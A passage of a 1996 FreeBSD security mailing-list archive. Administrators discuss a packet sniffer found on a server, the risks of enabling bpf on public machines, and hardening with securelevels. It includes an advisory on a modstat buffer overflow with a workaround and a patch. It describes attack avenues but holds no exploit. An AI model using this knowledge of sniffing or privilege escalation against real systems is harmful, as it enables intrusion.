Dec 1996, Brian Tao wrote: > On Wed, 11 Dec 1996, Nate Williams wrote: > > > > I would *certainly* disable BPF on a public server. You can always use > > another box to look at packets that isn't publically available. > > The servers here are all on switched ports, so I can't monitor > all packets on the LAN. I suppose that was one saving grace which > prevented the attacker from doing more damage than he did. I think > the best thing to do is disable bpf, and set up a management station > on the router segment to watch the packets. > -- > Brian Tao (BT300, taob@io.org, taob@ican.net) > Senior Systems and Network Administrator, Internet Canada Corp. > "Though this be madness, yet there is method in't" > > From owner-freebsd-security Wed Dec 11 15:22:12 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id PAA17654 for security-outgoing; Wed, 11 Dec 1996 15:22:12 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id PAA17644 for ; Wed, 11 Dec 1996 15:22:09 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Wed, 11 Dec 1996 18:20:07 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id SAA29698; Wed, 11 Dec 1996 18:16:42 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma029690; Wed Dec 11 18:16:34 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id SAA18855; Wed, 11 Dec 1996 18:13:34 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Wed, 11 Dec 1996 18:13:34 -0500 (EST) From: Brian Tao To: Wolfram Schneider cc: FREEBSD-SECURITY-L Subject: Re: URGENT: Packet sniffer found on my system In-Reply-To: <199612102247.XAA00621@campa.panke.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, Wolfram Schneider wrote: > > Do you run accton(8)? It may help you to find this user. Not for any great length of time, with the number of users that hit this box. :( Besides, I can't seem to find a way to get sa to report timestamps of commands (so I can get .history-like output). The other bits of info it does report aren't all that interesting to me. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Wed Dec 11 15:24:17 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id PAA17769 for security-outgoing; Wed, 11 Dec 1996 15:24:17 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id PAA17762 for ; Wed, 11 Dec 1996 15:24:15 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Wed, 11 Dec 1996 18:24:06 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id SAA29776; Wed, 11 Dec 1996 18:20:42 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma029772; Wed Dec 11 18:20:23 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id SAA18885; Wed, 11 Dec 1996 18:17:23 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Wed, 11 Dec 1996 18:17:23 -0500 (EST) From: Brian Tao To: spork cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 11 Dec 1996, spork wrote: > > Another thing to note is that some switched hubs support a nice > feature called "port mirroring" that lets you (depending on $$ paid > for switch) mirror all traffic on all (or selected) ports to an extra > port where you plug in your monitoring station and sniff away... Hrm, nifty... I'll have to check that out. We've got a bunch of 3com LS1000's here (nice product, btw). -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Wed Dec 11 16:02:36 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA21048 for security-outgoing; Wed, 11 Dec 1996 16:02:36 -0800 (PST) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id QAA21030 for ; Wed, 11 Dec 1996 16:02:29 -0800 (PST) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.2/8.7.3) id KAA29724; Thu, 12 Dec 1996 10:31:47 +1030 (CST) From: Michael Smith Message-Id: <199612120001.KAA29724@genesis.atrad.adelaide.edu.au> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <9612111329.AA16058@wavehh.hanse.de> from Martin Cracauer at "Dec 11, 96 02:29:42 pm" To: cracauer@wavehh.hanse.de Date: Thu, 12 Dec 1996 10:31:46 +1030 (CST) Cc: freebsd-security@freeBSD.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freeBSD.org X-Loop: FreeBSD.org Precedence: bulk Martin Cracauer stands accused of saying: > >> > >>Evil evil evil. Definitely never on a public server; bpf lets you do > >>lots more than just snoop, it makes it possible (easier) to spoof as > >>well. > > As far as I understand, BPF in the kernel is only a risk when someone > gets root rights, not? In that case, if you don't have BPF in the > kernel the person in question could also ftp a new kernel and wait for > the next reboot. Sure; providing they're in a position to do that. A suitably paranoid installation will have measures in place that make it harder (not impossible, obviously) to replace the kernel on a public system. (Think network boot from an inaccessible server, for example.) > What am I overlooking? What makes BPF dangerous as long as noone has > root access to the machine? Point. I think we have to accept that root access will always be available, and look at steps to reduce the damage that can be caused thereby. > And in what way can BPF make spoofing easier? The ability to emit arbitrary network data, subject only to the framing imposed by the transport hardware. > Martin -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-security Wed Dec 11 16:34:14 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA23650 for security-outgoing; Wed, 11 Dec 1996 16:34:14 -0800 (PST) Received: from ki1.chemie.fu-berlin.de (ki1.Chemie.FU-Berlin.DE [160.45.24.21]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id QAA23641 for ; Wed, 11 Dec 1996 16:34:11 -0800 (PST) Received: by ki1.chemie.fu-berlin.de (Smail3.1.28.1) from mail.hanse.de (193.174.9.9) with smtp id ; Thu, 12 Dec 96 01:34 MET Received: from wavehh.UUCP by mail.hanse.de with UUCP for freebsd-security@freebsd.org id ; Thu, 12 Dec 96 01:33 MET Received: by wavehh.hanse.de (4.1/SMI-4.1) id AA28154; Thu, 12 Dec 96 00:49:01 +0100 From: cracauer@wavehh.hanse.de (Martin Cracauer) Message-Id: <9612112349.AA28154@wavehh.hanse.de> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: brian@saturn.net (Brian Mitchell) Date: Thu, 12 Dec 1996 00:49:00 +0100 (MET) Cc: cracauer@wavehh.hanse.de, freebsd-security@freebsd.org In-Reply-To: from "Brian Mitchell" at Dec 11, 96 02:12:04 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > And in what way can BPF make spoofing easier? > > BPF lets you send and recv raw packet frames. > Brian Mitchell / brian@saturn.net Of course, but only as root also. My point was that the whole discussion failed to mention that all the problem only occur when someone becomes root. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://cracauer.cons.org Fax +49 40 522 85 36 From owner-freebsd-security Wed Dec 11 16:58:11 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA25341 for security-outgoing; Wed, 11 Dec 1996 16:58:11 -0800 (PST) Received: from cube.i-pi.com (cube.i-pi.com [198.49.217.1]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id QAA25327 for ; Wed, 11 Dec 1996 16:58:08 -0800 (PST) Received: from socrates.i-pi.com (socrates.i-pi.com [198.49.217.5]) by cube.i-pi.com (8.6.12/8.6.12) with ESMTP id RAA22823; Wed, 11 Dec 1996 17:57:56 -0700 From: Kenneth Ingham Received: (from ingham@localhost) by socrates.i-pi.com (8.8.0/8.8.0) id RAA04145; Tue, 10 Dec 1996 17:22:08 -0700 (MST) Message-Id: <199612110022.RAA04145@socrates.i-pi.com> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: from Brian Tao at "Dec 10, 96 09:58:09 pm" To: taob@io.org (Brian Tao) Date: Tue, 10 Dec 1996 17:20:37 -0700 (MST) Cc: freebsd-security@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > What are people's feelings on enabling devices like bpf or snp > in the kernel on a public server? I'd not enable it on the machines likely to be targets for hacking. Instead, use a separate machine to do the network monitoring (I use my laptop, but that is not the best choice for everyone). Kenneth From owner-freebsd-security Wed Dec 11 18:09:11 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id SAA29618 for security-outgoing; Wed, 11 Dec 1996 18:09:11 -0800 (PST) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id SAA29607 for ; Wed, 11 Dec 1996 18:09:08 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.6/8.6.5) with SMTP id SAA12992; Wed, 11 Dec 1996 18:08:12 -0800 (PST) Message-Id: <199612120208.SAA12992@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: jc@irbs.com (John Capo) cc: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-reply-to: Your message of "Wed, 11 Dec 1996 12:12:06 EST." From: David Greenman Reply-To: dg@root.com Date: Wed, 11 Dec 1996 18:08:11 -0800 Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Quoting David Greenman (dg@root.com): >> >> I made the mistake of putting bpf in freefall's kernel a long time ago and >> forgot it was in there. Someone eventually took advantage of that and used it >> to sniff passwords at Walnut Creek CDROM. This led to a serious break-in on >> wcarchive. Needless to say, bpf is no longer in freefall's kernel. It was > >Are you saying that there is a way for a normal user to use bpf >when permissions should prevent access? No, I'm saying that after he exploited a security hole and gained root that he then used bpf to sniff passwords. Adding bpf to the kernel and rebooting the machine would *definately* have been noticed. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Wed Dec 11 22:15:21 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA21869 for security-outgoing; Wed, 11 Dec 1996 22:15:21 -0800 (PST) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id WAA21863 for ; Wed, 11 Dec 1996 22:15:18 -0800 (PST) Received: by agora.rdrop.com (Smail3.1.29.1 #17) id m0vY4QK-0008uxC; Wed, 11 Dec 96 22:15 PST Message-Id: From: batie@agora.rdrop.com (Alan Batie) Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: imp@village.org (Warner Losh) Date: Wed, 11 Dec 1996 22:15:12 -0800 (PST) Cc: pete@sms.fi, taob@io.org, freebsd-security@freebsd.org In-Reply-To: from "Warner Losh" at Dec 11, 96 03:24:36 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > : functionality, like dhcpd, you need to have them. > > FWIW, rarpd also needs to have bpf enabled as well neither of these need to run on the system with shell accounts, and one could argue they're better off being on an isolated, secured, system. -- Alan Batie ______ batie@agora.rdrop.com \ / Assimilate this! +1 503 452-0960 \ / --Worf, First Contact DE 3C 29 17 C0 49 7A 27 \/ 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-security Wed Dec 11 22:33:53 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id WAA23111 for security-outgoing; Wed, 11 Dec 1996 22:33:53 -0800 (PST) Received: from rover.village.org (rover.village.org [204.144.255.49]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id WAA23102 for ; Wed, 11 Dec 1996 22:33:50 -0800 (PST) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 0.56 #1) id E0vY4ht-0005F8-00; Wed, 11 Dec 1996 23:33:21 -0700 To: batie@agora.rdrop.com (Alan Batie) Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) Cc: pete@sms.fi, taob@io.org, freebsd-security@freebsd.org In-reply-to: Your message of "Wed, 11 Dec 1996 22:15:12 PST." References: Date: Wed, 11 Dec 1996 23:33:21 -0700 From: Warner Losh Message-Id: Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message Alan Batie writes: : > : functionality, like dhcpd, you need to have them. : > : > FWIW, rarpd also needs to have bpf enabled as well : : neither of these need to run on the system with shell accounts, and one : could argue they're better off being on an isolated, secured, system. One could argue that, but one would be missing the point. If I want to allow machines to boot off of a machine, I must necessarily make it a vector for further attack, should it somehow be compromized. That is not an acceptible answer, even if it should be well secured and isolated. Even if it were well secured and isolated, there have been instances in the past of bugs giving people root access on a remote machine, and the machine can't be too isolated if it is providing this service. Just because Brian was talking about a shell server, doesn't mean that *I* have a shell server, or that *I* want to be forced to have additional weaknesses in my system just because I have one or more machines that get their IP address via RARP. I have devices that get their IP addresses via RARP, get their boot file via TFTP and then don't interact with my machine again. They are X terminals w/o working NVRAM. And yes, that does mean I'd have passwords in the clear on my net for them, which is why I don't want it to be easy for people to sniff my net should they break into one of my machines. It is one of the things that bugs me about my current setup is that I'm forced to have a less secure system than I would otherwise have... Warner From owner-freebsd-security Wed Dec 11 23:24:50 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id XAA25851 for security-outgoing; Wed, 11 Dec 1996 23:24:50 -0800 (PST) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id XAA25831 for ; Wed, 11 Dec 1996 23:24:42 -0800 (PST) Received: by agora.rdrop.com (Smail3.1.29.1 #17) id m0vY5VU-0008uqC; Wed, 11 Dec 96 23:24 PST Message-Id: From: batie@agora.rdrop.com (Alan Batie) Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: imp@village.org (Warner Losh) Date: Wed, 11 Dec 1996 23:24:35 -0800 (PST) Cc: pete@sms.fi, taob@io.org, freebsd-security@freebsd.org In-Reply-To: from "Warner Losh" at Dec 11, 96 11:33:21 pm X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If I read your response correctly, you're saying that some services you use require bpf, and because of that, are a weak spot in your security that you don't think should be necessary? I can understand that point, although I think that one always has administrative systems that are going to be sweet targets because of what they gain when compromised (e.g. accounting servers) and which need to be robustly secured. Perhaps there's a better way to implement rarpd and dhcpd than bpf, but I suspect (I'm no network programming expert) it would mean a new system interface specifically to receive broadcast packets. That's pretty ugly... IPv6 eliminates broadcasts entirely, replacing them with multicasts, which have a much safer mechanism for reception. That's not an immediately available option though :-) -- Alan Batie ______ batie@agora.rdrop.com \ / Assimilate this! +1 503 452-0960 \ / --Worf, First Contact DE 3C 29 17 C0 49 7A 27 \/ 40 A5 3C 37 4A DA 52 B9 It is my policy to avoid purchase of any products from companies which use unrequested email advertisements or telephone solicitation. From owner-freebsd-security Thu Dec 12 01:19:07 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA01314 for security-outgoing; Thu, 12 Dec 1996 01:19:07 -0800 (PST) Received: from gvr.win.tue.nl (root@gvr.win.tue.nl [131.155.210.19]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA01287; Thu, 12 Dec 1996 01:18:56 -0800 (PST) Received: (from guido@localhost) by gvr.win.tue.nl (8.8.4/8.8.2) id KAA27535; Thu, 12 Dec 1996 10:18:18 +0100 (MET) Message-Id: <199612120918.KAA27535@gvr.win.tue.nl> From: FreeBSD Security Officer To: freebsd-security-notifications@freebsd.org, freebsd-announce@freebsd.org, freebsd-security@freebsd.org, first-teams@first.org Subject: FreeBSD Security Advisory: FreeBSD-SA-96:19.modstat Date: Tue, 10 Dec 1996 20:23:15 +0100 (MET) Reply-To: security-officer@freebsd.org Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-96:19 Security Advisory FreeBSD, Inc. Topic: Buffer overflow in modstat Category: core Module: modstat Announced: 1996-12-10 Affects: FreeBSD 2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1 Corrected: FreeBSD-current as of 1996/08/08 FreeBSD only: no Patches: ftp://freebsd.org/pub/CERT/patches/SA-96:19/ ============================================================================= I. Background The modstat program is used to display status of loaded kernel modules. It is standard software in the FreeBSD operating system. II. Problem Description The modstat program has always been installed setuid kmem. Within the program, a buffer overflow can occur. III. Impact Local users can gain kmem privileges. IV. Workaround Modstat does not need to be setuid kmem. It is thus sufficient to do the following: su cd /usr/bin chmod 555 modstat This effectively clears the setuid bit on the modstat program. V. Solution Apply the following patch: (This patch can also be found on ftp://freebsd.org/pub/CERT/patches/SA-96:19) Index: Makefile =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/Makefile,v retrieving revision 1.1 retrieving revision 1.2 diff -u -r1.1 -r1.2 - --- Makefile 1994/08/19 12:14:02 1.1 +++ Makefile 1996/05/30 02:19:03 1.2 @@ -38,7 +38,5 @@ PROG= modstat MAN8= modstat.8 - -BINGRP= kmem - -BINMODE=2555 .include Index: modstat.c =================================================================== RCS file: /home/freebsd/CVS/src/usr.bin/modstat/modstat.c,v retrieving revision 1.3 retrieving revision 1.4 diff -u -r1.3 -r1.4 - --- modstat.c 1995/04/20 05:08:53 1.3 +++ modstat.c 1996/08/08 07:58:07 1.4 @@ -72,8 +72,9 @@ { struct lmc_stat sbuf; + sbuf.name[MAXLKMNAME - 1] = '\0'; /* In case strncpy limits the string. */ if (modname != NULL) - - strcpy(sbuf.name, modname); + strncpy(sbuf.name, modname, MAXLKMNAME - 1); sbuf.id = modnum; ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org PGP Key: ftp://freebsd.org/pub/CERT/public_key.asc Security notifications: security-notifications@freebsd.org Security public discussion: security@freebsd.org Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ============================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMq2381UuHi5z0oilAQE99wP+NktTxugo1lrVDm0FVcmqd8c3zu6s95Wt WCvM9GLECCVB+sFbssbikQc35SvgzEjnE4lZ3J4VBrAoThG3tLOmO5si0csM8dwE QPGMyR/fdU7DpYXEK/XKuDxre1TDJ0uOwU9DfBewgy0o5OiybRR5dxj3nsJIznnd F5O6NNppKb0= =qcrF -----END PGP SIGNATURE----- From owner-freebsd-security Thu Dec 12 02:29:04 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id CAA04413 for security-outgoing; Thu, 12 Dec 1996 02:29:04 -0800 (PST) Received: from ki1.chemie.fu-berlin.de (ki1.Chemie.FU-Berlin.DE [160.45.24.21]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id CAA04408 for ; Thu, 12 Dec 1996 02:28:59 -0800 (PST) Received: by ki1.chemie.fu-berlin.de (Smail3.1.28.1) from mail.hanse.de (193.174.9.9) with smtp id ; Thu, 12 Dec 96 11:28 MET Received: from wavehh.UUCP by mail.hanse.de with UUCP for msmith@atrad.adelaide.edu.au id ; Thu, 12 Dec 96 11:28 MET Received: by wavehh.hanse.de (4.1/SMI-4.1) id AA28380; Thu, 12 Dec 96 11:27:44 +0100 From: cracauer@wavehh.hanse.de (Martin Cracauer) Message-Id: <9612121027.AA28380@wavehh.hanse.de> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: msmith@atrad.adelaide.edu.au (Michael Smith) Date: Thu, 12 Dec 1996 11:27:43 +0100 (MET) Cc: cracauer@wavehh.hanse.de, freebsd-security@freeBSD.org In-Reply-To: <199612120001.KAA29724@genesis.atrad.adelaide.edu.au> from "Michael Smith" at Dec 12, 96 10:31:46 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-security@freeBSD.org X-Loop: FreeBSD.org Precedence: bulk [me] > > And in what way can BPF make spoofing easier? [Michael Smith] > The ability to emit arbitrary network data, subject only to the > framing imposed by the transport hardware. Sure. But (for me) your former statement was misleading. In context it sounded like a machine with BPF was more vulnerable to a spoofing attack, while you obviously meant it is easier to launch such an attack. Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://cracauer.cons.org Fax +49 40 522 85 36 From owner-freebsd-security Thu Dec 12 06:33:54 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA14453 for security-outgoing; Thu, 12 Dec 1996 06:33:54 -0800 (PST) Received: from maslow.cia-g.com (maslow.cia-g.com [206.206.162.5]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id GAA14448 for ; Thu, 12 Dec 1996 06:33:52 -0800 (PST) Received: from maslow.cia-g.com (maslow.cia-g.com [206.206.162.5]) by maslow.cia-g.com (8.8.3/8.7.3) with SMTP id HAA02802; Thu, 12 Dec 1996 07:32:56 -0700 (MST) Date: Thu, 12 Dec 1996 07:32:56 -0700 (MST) From: Stephen Fisher To: David Greenman cc: Michael Smith , Brian Tao , freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110432.UAA10905@root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Can't the hacker just recompile the kernel with bpf support and then use it, though? On Tue, 10 Dec 1996, David Greenman wrote: > >Brian Tao stands accused of saying: > >> What are people's feelings on enabling devices like bpf or snp > >> in the kernel on a public server? Obviously, had I not compiled bpf > >> into the shell and Web server kernels, this particular incident would > >> never have happened. However, I like to have access to tcpdump to > >> check for things like ping floods, and trafshow to see where bytes are > >> being sent. > > > >Evil evil evil. Definitely never on a public server; bpf lets you do > >lots more than just snoop, it makes it possible (easier) to spoof as > >well. > > I made the mistake of putting bpf in freefall's kernel a long time ago and > forgot it was in there. Someone eventually took advantage of that and used it > to sniff passwords at Walnut Creek CDROM. This led to a serious break-in on > wcarchive. Needless to say, bpf is no longer in freefall's kernel. It was > never in wcarchive's kernel (and never will be)...the damage would have been > much worse if it had been. The moral of the story for me was never to put > bpf in a "public" server's kernel. I hope you've learned the same lesson. :-) > > >> I know this depends entirely on your local setup, and every site > >> has different policies, but I'd like to hear if anyone has strong > >> feelings about "enabled" kernels or proposed solutions (i.e., an > >> option to make bpf work only for processes run on the console). > > > >No. If you want to watch the network, set up a utility machine, or > >at least a machine with no shell users on it, and use that. > > Right, and if you have machines co-located, be sure to always give them > their own switch port - never connect them to a shared hub. You should also > strongly encourage the use of ssh whenever doing remote logins. We've taken > all of these precautions at Walnut Creek CDROM... > > -DG > > David Greenman > Core-team/Principal Architect, The FreeBSD Project > From owner-freebsd-security Thu Dec 12 06:58:43 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA15569 for security-outgoing; Thu, 12 Dec 1996 06:58:43 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id GAA15553 for ; Thu, 12 Dec 1996 06:58:40 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA24275; Thu, 12 Dec 1996 09:58:36 -0500 Date: Thu, 12 Dec 1996 09:58:36 -0500 From: Garrett Wollman Message-Id: <9612121458.AA24275@halloran-eldar.lcs.mit.edu> To: Stephen Fisher Cc: freebsd-security@FreeBSD.ORG Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: References: <199612110432.UAA10905@root.com> Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > Can't the hacker just recompile the kernel with bpf support and then use > it, though? Not if you run at security level 2, make all the files in /bin, /sbin, /usr/bin, and /usr/sbin, and some of the files in /etc and / system immutable, and make all those directories plus / and /dev system append-only. If you're running a public-access shell system, you most certainly should do just that. (It's a big hassle for ordinary users, which is why we don't ship systems that way.) -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Thu Dec 12 07:06:38 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id HAA15925 for security-outgoing; Thu, 12 Dec 1996 07:06:38 -0800 (PST) Received: from black.gensys.com (black.gensys.com [206.109.98.10]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id HAA15918 for ; Thu, 12 Dec 1996 07:06:35 -0800 (PST) Received: (from jhupp@localhost) by black.gensys.com (8.7.5/8.6.12) id JAA23109; Thu, 12 Dec 1996 09:01:47 -0600 (CST) From: Jeff Hupp Message-Id: <199612121501.JAA23109@black.gensys.com> Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) To: lithium@cia-g.com (Stephen Fisher) Date: Thu, 12 Dec 1996 09:01:46 -0600 (CST) Cc: dg@root.com, msmith@atrad.adelaide.edu.au, taob@io.org, freebsd-security@freebsd.org In-Reply-To: from "Stephen Fisher" at Dec 12, 96 07:32:56 am X-Mailer: ELM [version 2.4 PL24 ME8a] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stephen Fisher bound electrons in the following form:: : : Can't the hacker just recompile the kernel with bpf support and then use : it, though? : I notice when one of my systems reboots. Leaving bpf in a public machine connected to the internet is a bit like leaving a loaded gun in a public place ~ you are largely responsible for what happens. -- Jeff Hupp | While ignorance my be an | PGP Public Key | | explanation, stupidity | available at | | is often the reason. | http://gensys.com | From owner-freebsd-security Thu Dec 12 07:24:10 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id HAA16683 for security-outgoing; Thu, 12 Dec 1996 07:24:10 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id HAA16676 for ; Thu, 12 Dec 1996 07:24:07 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Thu, 12 Dec 1996 10:23:54 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id KAA14122; Thu, 12 Dec 1996 10:20:31 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma014116; Thu Dec 12 10:20:26 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id KAA25453; Thu, 12 Dec 1996 10:17:24 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Thu, 12 Dec 1996 10:17:24 -0500 (EST) From: Brian Tao To: Stephen Fisher cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 12 Dec 1996, Stephen Fisher wrote: > > Can't the hacker just recompile the kernel with bpf support and then use > it, though? You would have to reboot the machine for a new kernel to take effect, and hopefully your kernel is included in whatever trojan horse scans you do. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Thu Dec 12 08:29:03 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id IAA21054 for security-outgoing; Thu, 12 Dec 1996 08:29:03 -0800 (PST) Received: from redmare.com 